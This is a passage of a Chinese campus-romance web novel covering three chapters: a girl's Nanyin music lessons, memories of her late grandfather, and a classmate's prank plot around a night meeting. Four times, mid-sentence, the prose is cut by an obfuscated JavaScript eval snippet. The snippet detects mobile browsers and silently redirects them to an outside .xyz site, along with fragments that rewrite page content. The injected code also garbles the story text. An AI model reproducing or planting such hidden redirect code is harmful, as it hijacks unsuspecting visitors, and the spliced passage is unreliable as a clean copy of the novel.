“巧克力口味的是好好的,草莓口味的给云云。”她一边分着冰激凌一边念念有词,“最后就是我最爱的香草味冰激凌!” 说着她一口咬了下去,脸上的表情只能用“满足”两个字来形容:“饭后一支冰激凌,快乐似……” 说到这里,她突然卡壳:“押不上韵了呜呜,好好,这个伟大的任务交给你了。” 甄好:“……” 为什么吃个冰激凌还要吟诗作对啊? 她拒绝。 下午的课对于甄好来说很轻松。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552289|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一节是她最喜欢的语文课,第二节是内容简单的政治课,第三课是放松身心的体育课。 体育老师一般点完名,再让全班跑个两圈操场就不管了,也就是说他们可以提前去食堂吃晚饭。 以师杭与和时序为首的一群男生嬉闹着,勾肩搭背朝东边的篮球场走去。 与他们擦身而过时,甄好的目光停留在师杭与身上一秒,又快速移开。 就在她错开视线时,时序正好望向她。 她总是快一步,恰好没遇上少年充满柔情的目光;他总是慢一步,没能与少女的视线短暂相交。 哪怕少女眼中藏着的人不是他,他也想多看她一眼。 远远地,甄好听到有人在喊:“时序,看什么呢?打球去了!” 她下意识地回头,时序正好收回目光,大步朝篮球场而去。 留给甄好的是不知不觉间又挺拔了几分的背影。 甄好觉得他好像长高了些。 也许是错觉吧,哪有人长那么快的…… 她收回自己无厘头的思绪,对身边的两人说道:“走吧。” 现在去了秋先生那里,晚自习放学她就可以早点回宿舍休息。 “已经开始期待了。”周淳芮对什么都很感兴趣,尤其是没接触过的新鲜事物。 “你们一定会喜欢秋先生的。”甄好虽然跟着秋先生学技艺,却并未叫他师父。 秋先生喜欢被人叫“秋先生”。 “那我更期待了。”周淳芮好奇道,“好好,你是什么时候开始跟着秋先生学南音啊?” 她和鄢云书竟然都不知道。 “此事说来话长。”甄好说着陷入回忆当中。 甄好十一岁那年,世上最疼爱她的爷爷永远离她而去。 那时的她,对于“死亡”这个词的概念很模糊,却也深知自己此后余生再也见不到爷爷。她难过到哭不出来,只觉得心口像塞了团吸水的棉花,压得心脏一阵阵抽疼。 她第一次见到秋先生是在爷爷的告别仪式上。 所有人都在痛哭流涕时,秋先生唱起了她听不懂却熟悉无比的曲子。 那是爷爷生前最爱听的,也是她从小听到大的——闽市非物质文化遗产,南音。 小的时候,爷爷边弹琵琶边唱那些咿咿呀呀韵味十足的曲调。小小的甄好就坐在他腿上,偶尔调皮伸手去搞破坏——一个不和谐的音符随之流出。 甄爷爷却不在乎,还爽朗地笑道:“咱们好好弹得真棒,爷爷教你弹琵琶唱南音好不好啊?” 甄好却把头摇了又摇:“好好听不懂,好好不学。” 甄爷爷亦由着她:“好好好,好好不想学那咱就不学。” 直到彻底失去爷爷,她才追悔莫及。 那把琵琶一直放在家里,甄家再也没有一个人懂得弹奏。 落了尘的琵琶像失去光泽的夜明珠,躲在角落里黯然失色。 同时失色的还有甄好难得有一丝光亮的童年——爷爷的音容笑貌只能永远留在回忆里。 如果世上有穿梭机,甄好真想穿回那一刻,狠狠给拒绝爷爷的自己一个巴掌。 在秋先生唱完后,甄好在爷爷的灵柩前重重地跪了下去:“阿伯,求您教我南音!无论多难多苦,我都能坚持。” 18. 地瓜和红烧猪蹄 今天吃到了童年时最爱的烤白薯。 可惜我爱的人,永远留在了童年里。 ——《甄好日记》 楼紫巷1010号。 周淳芮和鄢云书第一次见到神秘的秋先生。 “你们就是好好常提到的那两个好朋友吧?”秋先生温声笑道,“来,坐,尝尝我自己种的桃。” 两人都被他儒雅的气质和随和的性子所折服,一时都忘了喊人。 最后还是鄢云书先反应过来:“谢谢秋先生。” 她喊完人不着痕迹地扯了扯周淳芮的校服下摆。 “啊?”周淳芮轻呼一声,随即大脑开机,笑得眉眼弯弯,“谢谢秋先生!” 她话音刚落地,门口又走进来两个人。 少女明眸皓齿,身材高挑,是难得一见的美人坯子。 少年脸色有些苍白,却遮不住那张好看到让人一眼惊艳的脸。 这两个人她们都认识,是三中的名人,孟南音和陆星湛。 周淳芮看了一眼甄好,后者表示不知情地耸耸肩。 她的确不清楚孟南音和陆星湛与秋先生之间的关系。 “你们两个,还没放学呢,怎么回来了?”秋先生抬头看了一下墙上的时钟,问道。 “阿湛有点不舒服,我就请假带他来秋先生这儿瞧瞧。”孟南音一脸担忧地看着身边的少年。 其实他们平时不怎么来这里,这一次是特殊情况。 一听她说陆星湛身体有恙,秋先生温润的表情被焦急所取代:“哪里不舒服?我看看。” 看秋先生对着少年一番望闻问切,又提笔写了一张药方吩咐少女去街上的药房抓药时,甄好的震惊不比其他人少。 她此前并不知晓秋先生还是位中医。 见她一脸茫然的样子,秋先生这才想起来介绍:“好好,刚出去抓药的那小女娃是我外孙女,孟南音。” 这下甄好更觉惊讶。 没想到就连亲外孙女也管他叫秋先生。 “至于坐着的这位少年家……”秋先生笑道,“便是我跟你提起过的师兄。” 甄好微微瞪大眼睛。 她做梦都没想到校园红人之一的“中药小王子”竟然是自己的亲师兄。 她张了张嘴,一句“师兄”却怎么都叫不出口。 像是知道她很为难似的,陆星湛不甚在意地开口:“不用叫师兄,叫我名字就可以。” 他只想做孟南音一个人的小师弟,不想做任何人的师兄。 甄好木讷地点点头:“好的,陆同学。” 她没有真的叫他的名字,而是选择了一个不会出错的称呼。 “阿湛,你进去里屋歇会儿吧。”秋先生温和道。 陆星湛这体弱的毛病是打娘胎里带出来的,忽略他那怎么都查不到问题出在哪里的奇怪病症,他的身体是没有大碍的,只是需要多休息,注意饮食。 安顿好陆星湛后,秋先生便开始准备给甄好上课。 她这天主要学的是一些理论知识,周淳芮在一旁听得昏昏欲睡,鄢云书倒是饶有兴致地跟着听进去了一些。 南音也称“弦管”,是闽南地区的传统音乐,联合国教科文组织人类非物质文化遗产代表作之一。 南音有“中国音乐史上的活化石”之称,发源于闽南地区,用闽南语演唱,是中国历史悠久的汉族音乐。两汉、晋、唐、两宋等朝代的中原移民把音乐文化带入以闽市为中心的闽南地区,并与当地民间音乐融合,形成了具有中原古乐遗韵的文化表现形式。 南音起源于唐,形成在宋。南音的唱法保留了唐以前传统古老的民族唱法,其唱、奏者的二度创作极富随意性,而南管的演奏上也保持着唐宋时期的特色。 秋先生讲述的同时会穿插着唱几句,甄好一听见南音就不由自主地想起爷爷。 时光也好似在她眨眼间穿梭到过去,甄爷爷总是笑呵呵地牵起她的手,说:“爷爷赚到钱了,带好好去买最贵的雪糕。” 小时候,在别人家的小孩用五毛钱买五根冰棒吃的时候,甄爷爷却跟甄好说:“一毛钱一根的冰棒不够甜,奶味也不足,爷爷给你一块钱,一次吃两根!好好尽管买,我们好好要吃就吃最香甜的雪糕。” 二十世纪九十年代的闽镇,五毛钱一支的火炬雪糕筒是无数孩子梦寐以求的零嘴。 而家境贫寒的甄好,一次可以拥有两支。 甄爷爷这辈子没赚过什么大钱,却给了甄好大把大把的爱。 那些来自甄爷爷的宠爱,足以治愈甄好充满苦难的童年。 从秋先生那里出来的时候,傍晚绮丽的云霞布在天边。 甄好一路上都安静得不像话。 “我们去吃闽州鱼丸好不好?”周淳芮并未发现甄好的异样,满心思考着晚饭吃什么。 鄢云书却注意到了。 秋先生讲课的时候,她就看到了甄好逐渐泛红的眼眶。 不用问她都知道甄好一定是想起自己的爷爷了。 她们三个人,家里都有各自难念的经,却要数甄好家的最难念。 “好好。”鄢云书轻轻挽住甄好的手臂,“我肚子饿了,我们去吃点什么呢?” 她不想让甄好一直沉浸在悲痛的回忆里,难得主动在吃什么这个问题上浪费时间。 甄好这才发觉自己也饿了。 这时正好一辆卖烤地瓜的三轮车经过,而后停在巷口不远处。 闻着喷香的烤地瓜,甄好眼睛一亮:“我想吃烤白薯。” “好好,你也是怪咖,竟然喜欢吃白地瓜。”周淳芮不知内情,像在讨论喜欢吃咸粽还是甜粽一样闲聊道,“红薯多甜呀!不接受反驳。” 甄好听了只是笑笑没说话。 她自己也清楚很少人喜欢吃白地瓜,甚至连烤地瓜车也经常买不到,可这是她童年里记忆最为深刻的味道。 她能吃一辈子。 千禧年过后,甄家的情况慢慢好转,只是在镇里仍旧算贫困户。 那时候何允莲还和甄父在津城讨生活,甄奶奶在甄美出生四年后便带着她去了厦城,甄黎还未出生。 闽镇多的是留守儿童,甄好便是其中一个。 但她怎么都没想到,跟着爷爷还有太奶奶一起生活的日子反而是她这辈子最难以忘怀的快乐时光。 太奶奶跟甄爷爷一样,对她很是疼爱。 在她犯了错被爷爷画圈罚站的时候,甄老太太会偷偷给她塞两根胖嘟嘟的米蕉,她却倔强地不肯要:“爷爷说没罚站完不准吃东西,我不要。” 甄老太太无奈地摇头:“你这孩子,怎的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552290|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样固执?” 彼时,阳光渐渐偏移到甄好头顶,时间来到正午时分。 甄爷爷喝了点小酒,里屋传来的呼噜声昭示着他睡得正熟。 甄老太太午睡前又溜达过来看了一眼,见甄好还站在圆圈里一动不动,不禁伸手拉她:“再晒下去要晒坏哩,你爷爷睡着了,他不会知道你提前出来的……” 甄好咬着牙,跟老人家拔起了河。 甄老太太用力拉她出圆圈,她就更用力地退回圆圈内,说什么都不肯离开:“我不出去,我就站在这里,直到爷爷睡醒。” 甄老太太实在拗不过她,最后只能摇着头回了自己屋。 她刚走不久,甄爷爷就迈步走了出来。 方才孙女和母亲的对话他都听在耳朵里,终是不忍再让甄好继续站下去。 闽镇的夏天,连阳光都是白的,晒得人皮肤烫烫的。 甄好却站得笔直,一副不屈不挠的样子。 甄爷爷忍不住失笑的同时又折回了屋里。 再出来时,他手里拿着一个冒着热气却已经可以入口的烤白薯。 甄好肚子早就饿了,看到那个烤得漂亮的白地瓜顿时咽了咽口水。 家里换新灶台的时候,甄爷爷告诉工人:“我家孙女喜欢吃烤地瓜,麻烦师傅在旁边做一个小烤炉,我每天煮饭的时候扔一个地瓜进去,孙女就有香喷喷的烤地瓜吃了。” 做灶台的工人笑呵呵的:“甄老先生可真疼孙女。” 甄爷爷的语气里满是自豪:“那可不,我就这么一个孙女在身边。” 自那以后,甄好每日起床都能吃到一个喷香的烤地瓜。 “好好,下次不许这样了。”甄爷爷朝她招招手,“来,你最爱吃的烤白薯。” 得了爷爷的允许,甄好一个大步跨出画出来的圆圈,接过那个烤白薯,大口大口吃了起来。 吃得急了的后果就是直打嗝,甄爷爷轻拍她的后背,又送来一杯加了糖的甜茶:“慢点吃,没人跟你抢。” “爷爷,我以后不敢了。”在好不容易止住打嗝后,甄好心服口服地认错。 这一次,爷爷罚她罚得没错。 上午爷爷不在家,她放周末不用去上学。在橱柜里翻到有一包泡面时,她被勾起了馋虫,想烧水泡泡面吃。她说干就干,装好水,将水壶放在煤炉上,可邻居小伙伴一喊她放风筝,她就将这事抛之脑后。 等被爷爷叫回家的时候,煤炉里燃烧的煤球被烧开而往外冒的水浇灭,得重新生火不说,烧水壶差点烧穿了。 甄爷爷语重心长地告诉她:“好好,做事情不能三心二意,要一件一件地做,要有始有终。你看今天,煤球熄灭了,水壶烧坏了都是小事,万一厨房起火了,万一家里有人睡熟了,那后果会怎么样,好好有没有想过?” 他的语气不重,表情也不严肃,可甄好还是忍不住红了眼圈,紧抿着嘴一个字都不肯说。 一开始站圈圈的时候,她还心有不服。 但是随着时间的流逝,她慢慢想明白了,也意识到了自己的错误。 甄爷爷欣慰地揉了揉她的脑袋:“知错就改,还是好孩子。晚上爷爷给你做红烧猪蹄吃,好不好?” “好呀!”小孩子的情绪来得快去得也快,一听到有肉吃,甄好的眼睛弯得像月牙。 19. 做一节课的同桌 每一次下意识地目光追逐,都藏着患得患失的心情。 这一切,既想让683同学知道,又害怕他知道。 ——《甄好日记》 时间回到现在,走到地瓜车前的甄好眼睛亦弯成了月牙:“老板,要一个白地瓜。” “小姑娘运气好哩,正好剩最后一个。”老板笑呵呵地把地瓜递给她。 “谢谢老板。”甄好给了钱,便和周淳芮两人去吃她们想吃的闽州鱼丸了。 吃过饭,三人又回了趟宿舍。 周淳芮吃撑了,一到寝室就坐在椅子上挺尸:“下次再也不吃这么多了。” 甄好无情地打击她:“你上次,上上次,上上上无数次也是这么说的。” “好好,有没有人说过你嘴很毒?”周淳芮懒洋洋地看了她一眼,开玩笑道。 甄好不由得摸了摸鼻子,讪笑道:“好像还真没有。” “不科学。”周淳芮不相信,“肯定有人在背后这样说过你。” 这话还真被她说对了。 在甄好替宋景出头的那天,被她比喻成“思想侏儒”的男生的确这样评价过她。 “我就当你是夸奖我了。”对于“嘴毒”这种听起来似夸非夸的词语,甄好反倒能够坦然地接受,甚至有些喜欢。 周淳芮“切”了一声,而后哀号道:“朕不想上晚自习啊……” 不想上晚自习的周皇帝七点钟还是准时出现在了教室里。 对着一张张练习卷,她重重地将脸颊砸在课桌上,生无可恋道:“云云,快上救心丸,朕快要不行了。” 救心丸自是没有的,她等来的是一张意料之中的字条。 前桌的人悄声对周淳芮说道:“麻烦传给甄好同学,谢谢。” 她望了前面的几桌同学一眼,一时没判断出来是谁会写字条给甄好。 “好好,你的。”确定周围没有老师,周淳芮动作娴熟地将字条递给坐在自己身后的甄好。 甄好正在对着试卷上的数学题发愁,这道题她怎么演算都得不到正确答案,被周淳芮这么一喊,紧皱着的眉头随之松开。 既然难度大的解不出来,那就先跳过,从简单的做起。 她接过字条的时候像以往一样认为是周淳芮无聊了所以来找自己说话,可等纸张完全展开后,她才发现完全不是这么回事。 那上面的字迹她再熟悉不过。 她作为语文课代表,无论大考还是小测,都会负责分发甚至帮老师批改试卷。借着这点小小的权利,她把师杭与的试卷看了一遍又一遍,他那手不算惊艳但工整的字她早就烂熟于心。 他怎么会给自己写字条? 带着这个疑问,甄好的心脏扑通扑通直跳,紧张到第一眼扫过去未能准确抓取纸上的内容。 她轻轻闭上眼,再睁开时有些小心翼翼的,生怕眼前的一切只是幻觉。 “甄好同学,今晚十点半方便后山见一面吗?我知道这个请求很冒昧,但还是想试一试。师杭与字。” 纸上的每一个字都让她震惊到呼吸都变轻了。 师杭与竟然约她见面? 此时此刻,甄好反倒希望这只是一个梦。 因为她没有勇气赴约。 接下来的时间,包括第二节晚自习,她都坐立难安,什么都学不进去。 喻玲看出了她的不对劲,担忧地问她怎么了。 思索再三,她还是把师杭与约自己见面的事情告诉了对方。 喻玲没有马上回答她,而是反问:“你想赴约吗?” 甄好的心在疯狂说“想”,但她只是一脸纠结地看着喻玲,没有说话。 “看你这副表情我就知道你是怎么想的了。”喻玲接下来说了一句听起来十分哲学的话,“好好,当下想做的和以后再去做,是完全不一样的心情。” 听了这话,甄好茅塞顿开:“我明白了,谢谢你,同桌。” 喻玲没再说什么,重新坐正身体,假装继续写作业。 她没想到师杭与直接把机会递到自己面前来了。 对此毫不知情的甄好鼓起勇气给师杭与回了字条。 为了不泄露自己雀跃的心情,她只回了“好的”两个字。 她担心对方不会再传回,所以私心将那张字条夹进自己最喜欢的一本课外书里,重新撕了一张进行回复。 然而她想错了。 师杭与不仅回传字条,字还不少:“谢谢你。十点半不见不散。” 这一次甄好没有再回复,而是像刚刚那样,将字条珍而重之地夹进书本里,像把自己不能见天日的暗恋封存起来。 永远年轻永远八卦的周淳芮很快也递来了字条:“我没看错吧,你在跟师杭与传字条?” 甄好努力压下激动之情给她回复:“嗯,他约我晚上十点半后山见,所以今晚不能跟你们一起回宿舍了。” “没事,我和云云在教室等你回来。”周淳芮回。 甄好以一个“好”字结束了对话。 第二节晚自习下课铃声也在这时响起,她身旁的喻玲紧跟着站起身,而后朝教室后门走去。 师杭与的同桌裴小海的目光停留在喻玲身上一秒,又很快移开。 他从桌洞里拿出手机,飞快地打了一行字,然后点击发送。 师杭与坐在五人座的中间位,这意味着他有两位同桌,而另一位正是消失了整整一周的宋景。 他从桌上随便拿起一张卷子,佯装镇定地来到甄好座位旁,又佯装好学生问问题:“语文课代表,我好些天没来上课了,有道题不懂,你能给我讲讲吗?” 甄好抬头看了他一眼,心道真是稀奇,只会惹是生非的宋景同学竟然也会问题目了。 她也没有拒绝的意思:“好啊。” 得了这话,宋景嘴角是压不住的笑意,随即在喻玲的位子上坐下,同时将卷子递到甄好面前:“就是这道……” 宋景看清自己随意指着的题目后,愣住了。 他拿的是英语试卷。 这就尴尬了。 甄好不习惯男生跟自己靠太近,下意识往后仰,与宋景拉开一点距离,才拿疑惑的眼神看他:“宋同学是不是拿错卷子了?” “啊,对对对,我太想知道那道题怎么做了,一时心急拿错了。”宋景呵呵干笑了两声。 他刚刚明明扫了一眼,确定拿到的是语文卷子才起身的啊…… 还是他的好好妹妹贴心,一句话就替他化解了尴尬。 宋景一颗心忍不住轻飘飘地荡漾起来,坐在座位上一时忘了下一步动作,只是盯着甄好看。 甄好被他看得不自在,忍不住摸了摸自己的脸:“宋同学,你干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552291|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗这样看着我……” 难道她脸上有东西? 宋景这才如梦初醒,忙摆手道:“没有没有,我这就去拿试卷。” 说着,他有些狼狈地起身,快步走回自己的座位。 看他离开,甄好缓缓地吐出一口气。 而这一幕刚好被站在走廊的喻玲透过窗户看得清清楚楚。 她将双手紧握成拳,心里的酸涩一阵阵翻涌,看向甄好的目光也满是怨恨。 认识宋景那么久,她从来没见他对谁那样小心翼翼过。 偏偏他对着的人不是自己,而是甄好。 极致的嫉妒让她眼睛微微泛红,恨不得立刻进去把宋景拉开。 可人有时候很奇怪,明知道继续做某件事会受伤害,还是忍不住继续做。比如此时此刻的喻玲,明明她可以马上回教室,这样宋景就不会坐在自己的座位上和甄好靠得那么近,但她就是跟自虐似的,偏偏想看看接下来会发生什么。 宋景再回来时,甄好已经从坐着改为站着。 站着给他讲题,她会觉得自在一些。 宋景问的是一道文言文翻译题。 甄好微微皱眉。 这种题讲起来有些费劲,语文就是这样,答案不是唯一的,一旦讲起来就会牵扯出许多知识点。不像数学题那样,有清晰的解题思路和灵活运用公式定理就能够得到最优解。 讲着讲着,果真如她所料,题还没讲完,上课铃声先响了。 她不知道的是,在她低头讲题的时候,宋景根本一个字都没听进去,光顾着看她认真的侧脸发呆了。 所以在甄好猛地抬头时,宋景过于直白的目光险些没藏住。 喻玲也在这时走到了他身旁:“宋同学,上课了。” 她努力维持自己温柔的一面,声音与平时无异。 “那个……”宋景虽说尽量让自己的语气听起来像在打商量,但还是听得出霸道的味道来,“我下节课想和甄同学坐,题还没讲完。” 班主任一向支持优生带差生的教学理念,也放任大家晚自习可以自由组队进行学习,换句话说,宋景的要求合情合理。 听到宋景的话,喻玲温婉的面具差点被撕下来。 她不着痕迹地深吸一口气,才能够保持微笑:“好啊,好好没意见我就没意见。” 如此一来,她就要去宋景的座位,成为师杭与的一节课同桌。 也好。 正巧方便她实行自己的计划。 甄好很想拒绝,可她不擅长拒绝,也不想得罪人,尤其是得罪校霸,所以她“屈服”了:“同桌没意见我也没意见。” 说完这话时,她假装看黑板上方的时钟,目光收回之际拐了个弯,不轻不重地落在师杭与身上。 其实她更想跟宋景互换座位。 就这样,宋景在原位坐了下来,喻玲则拿起自己下节课要写的作业走向师杭与旁边的座位。 见她坐在宋景的位子上,裴小海先激动起来:“喻姐,欢迎跟我一起成为与哥的同桌。” 喻玲对他笑了笑,而后柔声道:“杭与同学,打扰了。” 师杭与回了三个字:“不打扰。” “怎么会打扰呢?”裴小海整个人显得很兴奋,“欢迎喻姐多来!” 师杭与瞥了他一眼:“要不我跟你换个位?” 20. 她做出一个决定 今日天气晴朗,有微风。 我珍惜每一个与你目光相撞的时刻,也珍惜认识你的每一天。 ——《甄好日记》 裴小海当然不会跟师杭与换座位,被他这么一反问立刻老老实实地坐正身体,继续与试卷作斗争。 喻玲心烦意乱极了,导致她没有心思管身旁的两个男生在做什么,全身心都在关注身后的那两人。 她听见甄好的声音放得很低,仔细听都听不清在说什么;她听到宋景略高的声音,说着“知道了”“明白了”“谢谢好好同学”…… 他从叫甄好“甄同学”变成“好好同学”了…… 她口袋里的手机此时振动了一下,她掏出来一看,是裴小海发来的□□消息。 裴裴裴小海:“与哥来大姨夫了,说话比较冲,你别搭理他。” 喻玲将手机扔回口袋里,没回。 不一会儿,手机又振动了一下。 她有些烦躁地侧头瞪了一眼裴小海。 不过裴小海并未看到,他正躲着玩手机。 喻玲又点开企鹅图标。 裴裴裴小海:“按计划行事。” 她忍不住皱眉。 这个人好聒噪。 她有点后悔找他帮忙了。 但事已至此,她别无选择。 将注意力从身后那两人身上收回后,喻玲动作轻巧地撕下一张纸。 她明明可以直接低声跟师杭与对话,也可以直接给他发消息,但她偏偏选择最原始的方式——写字条。 写完后,她轻轻推到男生面前。 师杭与顿了顿笔尖,片刻后才展开纸张,看到上面写着:“杭与同学,放学后可不可以给我五分钟时间?我有很重要的事情要跟你说。拜托拜托,就五分钟。可以的话,后山见。” 文字后面还画了一个看起来就可怜兮兮的卡通小人。 看完后,师杭与微微皱眉。 他抬头看了一眼黑板右下角的值日生名字,“甄好”两个字端端正正地被写在上面。 考虑到甄好做值日需要时间,所以他才将时间约在十点半。他们班的值日任务是按学号来的,两两一组。 甄好是1号同学,这晚与2号同学时序一起做卫生。 如此一来,喻玲想要的五分钟也不是不能答应。 反正他都要去一趟后山。 于是他没有想太多,简单地回了一个“好”字。 得到答复的喻玲很快给裴小海发去消息:“搞定。” 裴小海回复:“明白。” 新的一场针对甄好的恶作剧正在酝酿,正主对此毫无察觉,依旧在认真地给宋景讲解文言文。 讲到最后,她有些无奈地问对方:“宋同学,我这样讲,够不够明白呀?” 因为从始至终宋景都只是点头或者说“知道了”,她不确定自己讲得是否够明晰。 她不知道的是,她这个问题一出,宋景的内心活动是:“好好没有问我听不听得懂,而是问我她讲得够不够明白。是谁说好好嘴毒的?好好明明好温柔的……” 甄好又一次看见宋景用那种类似目空一切的眼神看着自己,她有些茫然地想:是不是我讲的太深奥了?给孩子整晕了。 不然他怎么半天都不说话…… 她就说文言文这玩意儿不好讲解,这下不好收场了。 甄好对于学习,尤其是语文,有着很深的执念。她不仅沉迷于自己学懂了的那种成就感,也丝毫不介意给别人讲题,甚至如果因为自己而让他人也突破了学习瓶颈,那么她的满足感会更强。 “宋同学?”等了半天还是没得到回答,甄好再度唤了宋景一声。 “啊?”宋景即刻回神,笑嘻嘻地答道,“听懂了听懂了,甄老师讲得比班主任还好。” 明知这是他恭维的话,甄好仍是忍不住脸一红,不好意思起来:“哪有?别说得这么夸张。” 宋景突然发现了甄好的一个弱点——不能夸,一夸就脸红。 可爱极了。 嗯,想看她脸红。 以后一定要多夸夸她。 他的心理活动丰富到写出来比八百字作文还长。 下课铃声响起的时候,宋景脸上是肉眼可见的失落。 他想继续跟甄好做同桌。 但饶是他再依依不舍,也不得不回到自己的座位。 起身时,他耷拉着眉眼,一脸不太高兴地对甄好说:“甄同学,下次有不懂的还可以问你吗?” 甄好愣愣地点头:“可以啊。” “太好了,谢谢甄同学。”宋景这才心满意足地离开。 甄好的心情跟他完全相反。 她放下手里的记号笔,不着痕迹地松了口气。 总算下课了。 这是她此时此刻最真实的想法。 假装合群好累。 这是她吐出一口气后最无奈的想法。 宋景同学好危险,不知一点就爆和温柔爱笑,到底哪个才是真正的他。 就在她胡思乱想之际,周淳芮突然转头对她说:“好好,今晚我帮你做卫生吧。” 甄好不明所以:“怎么呢?” “你不是要去见那个谁吗?” “没事,约的十点半,来得及的。”被她这么一提醒,那种即将要和师杭与单独见面的紧张感顿时又涌上甄好心头。 “那好吧。”周淳芮又说,“反正我和云云等你一起回寝室,有需要随时喊我们。” “好啊。”甄好轻轻弯了弯嘴角。 这是第不知道多少次,甄好觉得认识周淳芮和鄢云书真好。 世界第一好的那种好。 第四节晚自习总是一如既往,比前面三节课都要来得吵闹一些。很多同学都做完作业了,有更多的闲暇时间或偷偷看课外书,或偷偷玩手机,或偷偷传字条,总之干什么的都有。 而周淳芮在干什么呢? 她在偷偷吃零食。 每吃一样新东西,她就要微微侧头问甄好:“好好,这个果冻好吃,你吃不?” 甄好冲她摇摇头:“不了,你吃。” “好吧。”找不到人与自己一起分享美食的周淳芮默默地又坐正了身体。 然而吃到下一样的时候,她还是忍不住问甄好:“好好,这款辣条巨好吃,来一根?” 这一次,甄好没有拒绝:“好啊。” 一听她说要吃,周淳芮立刻来劲了,终于有人要与她同甘共苦了——这辣条实在是太辣了! 周淳芮小心翼翼地递给甄好一根,然后满怀期待地看着她,期待看到她吃下第一口时的反应。 见她这样两眼放光地盯着自己看,甄好有种不祥的预感:“芮芮,你这样看着我我害怕。” “怕啥?放心,没下毒。”周淳芮迫不及待地要她赶快吃,“快尝尝,真的好吃!” 甄好在她期许的目光下犹疑地咬下第一口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552292|171279||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>嗯,的确味道不错。 “怎么样,怎么样?”周淳芮努力压着笑,“是不是非常火辣?嘻嘻嘻——” 甄好诚实地点头:“的确很火辣。” “好好,你真是我的好姐妹,愿意跟我一起被这热情似火的辣条灼伤柔软的唇舌,我爱你,我太爱你了。”周淳芮夸张道。 “但是我喜欢,还有没有?”甄好在她口若悬河后,幽幽地问道。 周淳芮:“?” 反应过来甄好是什么意思后,她不淡定了:“不是,好好,我没听错吧?你的意思是你喜欢这辣条,并且还想吃?” 甄好再度诚实地点点头:“没错,就是你说的这样。” 这下周淳芮彻底麻了:“好好,你还是不是人啊?这辣条都快辣死我了,你竟然喜欢!” “辣吗?”甄好咽下最后一口辣条,“我觉得刚好啊。” “啊——”周淳芮真想仰天长啸,“难道你的生理构造跟我的不一样吗?我也想大口吃辣条,呜呜呜——” 她属于又菜又爱吃,喜欢吃辣却吃不了辣。 没等甄好回应她的哭号,班主任那权威的声音先响起:“注意点说话的音量,注意点教室的空气啊。这一股什么味儿……” 周淳芮登时装鹌鹑,把打开但还没吃完的辣条藏得严严实实。 暂时吃不到第二根辣条的甄好也忙低下头假装在背单词。 这种生活可真刺激啊。 甄好在心里如是想着。 这么想着,她突然有了写现代诗的灵感,于是立刻提笔记录下这灵光一闪的杰作。 写的过程中,她不可避免地想到了自己投稿的那篇现代诗。 不知道结果会如何…… 恍神的一秒钟,她希望自己的第一次投稿能够有个好结果。 可回神的第一秒钟,她又觉得梦想怎么可能那么简单就实现。 最后一节晚自习在她的自我拉扯和断断续续写完的新一首现代诗中迎来下课铃声。 同学们陆陆续续起身,有的快速走出教室冲向食堂抢自己喜欢的夜宵;有的三三两两凑在一起讨论着什么;有的则继续安安静静地坐着,写字的动作不停…… 甄好的目光不自觉地瞥向前方的师杭与。 只见他不紧不慢地收拾着课本和文具,而后起身缓缓朝教室外走去。 与此同时,她听见喻玲跟自己说:“好好,我先走啦,明天见。” 她心不在焉地回答:“明天见。” 这时,时序也走到她身边:“好好,我们什么时候开始打扫教室?” 甄好环视教室一圈,才回答:“等同学们都走得差不多了再开始吧。” 对此,时序没有异议:“好。” 十点零三分的时候,教室里只剩零星几个人。甄好和时序开始默契地配合着值日,周淳芮和鄢云书则站在教室楼梯下的空地上等她。 甄好刚给教室洒完水,就听见裴小海大声地抱怨道:“好你个师杭与,自己跑去后山见女孩子也不告诉我,还是不是兄弟了?” 他说着不着痕迹地看了一眼甄好,然后又接着说:“真是有异性没人性啊,也不知道是去见谁,一放学就跑得不见人影。” 甄好微愣。 不是约的十点半吗? 师杭与这么早就去了? 猜想他可能提前去等自己了,她就觉得心里不踏实。 她轻咬嘴唇,最终做出一个决定。